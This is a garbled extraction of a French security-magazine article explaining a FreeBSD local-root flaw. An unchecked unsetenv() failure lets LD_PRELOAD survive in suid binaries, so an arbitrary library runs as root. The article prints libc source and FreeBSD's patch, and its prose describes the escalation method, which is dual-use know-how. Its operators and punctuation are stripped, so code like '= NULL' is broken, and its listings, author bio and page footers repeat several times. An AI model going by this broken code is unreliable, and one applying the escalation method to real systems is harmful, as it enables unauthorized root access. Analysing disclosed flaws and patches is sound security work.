ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 43: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 44: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 45: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR